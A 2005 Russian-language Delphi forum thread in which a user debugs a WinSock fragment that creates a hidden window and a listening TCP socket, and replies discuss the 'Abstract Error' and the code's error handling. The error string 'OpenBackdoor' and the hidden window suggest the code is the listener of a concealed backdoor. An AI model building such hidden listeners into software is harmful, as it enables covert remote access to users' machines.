Вот мой код: (Вырезал кусочек)

Код

Var   wsAd: WSAData;   sin: sockaddr_in;   ClassName, AppName: PChar; Begin   Try     Try      // Initialize socket.       If WSAStartup( c_SocketsVersionHEX, wsAd ) <> 0 Then       Begin         // Return socket error.         OnError( 'WinSock Error! Error # ' + IntToStr( WSAGetLastError ) );         WSACleanup( ); // Cleanup WSA.         Exit; // Exit.       End       Else       Begin         { Working with socket }         Sock := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 ); // Create TCP sock.         // TODO: Gere abstract error.!         If Sock = INVALID_SOCKET Then           OnError( 'WinSock Error! Error - Invalid Socket!' )         Else         Begin           // Socket already exists.           ClassName := 'TExForm';           AppName := 'ExForm';           //----- Create window           Handle := CreateWindowEx( 0, ClassName, AppName, WS_DISABLED, 10, 120, 90, 20, 0, 0, 0, Nil );           ShowWindow( Handle, SW_HIDE );           UpdateWindow( Handle );           //----- Working with socket.           WSAAsyncSelect( Sock, Handle, WM_SOCKET, FD_ACCEPT + FD_READ + FD_CLOSE ); // On read/write message to we's window.           sin.sin_family := AF_INET; // Sock type = INET.           sin.sin_port := htons( s_ListenPort ); // Port           bind( sock, sin, SizeOf( sin ) ); // Bind socket.           listen( sock, 1 );  // And listen.           //-------------------------------------------------------------------------           // Good. Socket listening and binded.         End;       End;     Except       Result := False;       DebugLog( 'OpenBackdoor error !' );     End   Finally     Result := True;   End

WsaSocketA(); Определен как:

Код

Function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: Pointer;   g, dwFlags: dword ): integer; Stdcall; External 'ws2_32.dll';

OnError(); - Обработчик ошибок.
DebugLog(); - Тоже.

Ошибка возникает на WSASocketA(); Написано "Abstract Error". Почему?

А этот код откудова? Не из конструктора класса случаем? А то по ошибке похоже, что ты пытаешься создать экземпляр абстактного класса.

Кого? Я этот сам писал. Подклядывая в MSDN.
А WSASocketA() взял из одной проги.

Цитата(Delphins @ 17.9.2005, 22:48)

Написано "Abstract Error". Почему?

Я немного не понял, кто ошибку пишет и где ?
WSAGetLastError какое значение возвращает ?

Пишет отладчик.
WSAGetLastError вообще ничего не выводит после этого.

Попробуй отключить
Tools->Debugger Options->Language Exceptions->Stop On Delphi Exceptions

Хех. Нафига отключать отладку?????
Я спрашиваю почему ошибка а не как перестать её ловить!

Цитата(Delphins @ 21.9.2005, 20:08)

Хех. Нафига отключать отладку????? Я спрашиваю почему ошибка а не как перестать её ловить!

Не знаю , это тебя надо спросить, почему на Sock := WSASocket происходит исключение... Тут экстрасенсов мало, быстрее ответа добьешься, если приведешь больше кода или даже весь код...
Например, может ты забыл сказать, что, к примеру, весь этот код находится в классе, а Sock - это свойство класса (с хитроумным кодом установки значения, типа raise EAbstractError.Create('Abstract Error') ) ?
При всём этом не понятен смысл двух Try'ев - ведь ты же не ожидаешь в этом коде исключений, зачем они ?... Сами API функции не генерят исключений (не считая AV, которые в нормальных условиях не должны возникать), остаётся вариант что ты где-то тут спрятал поднятие исключений... Правда в том что ты привел я этого не вижу...
И даже если ожидаешь исключение, то вот это очень оригинальный подход к делу:

Код

Finally         Result := True;       End

("пофиг, нормально сокет создался или нет, возвратим True всё равно!" )

Цитата(Delphins @ 18.9.2005, 22:45)

WSAGetLastError вообще ничего не выводит после этого.

Это как это ? Ноль что ли возвращает ?

Хех. Уже все решилось. Перемсотрел весь код и изменил кое-что. Нет это было не в классе.
Поменял sockaddr_in на TSockaddr_in и WsaData на TWSAData;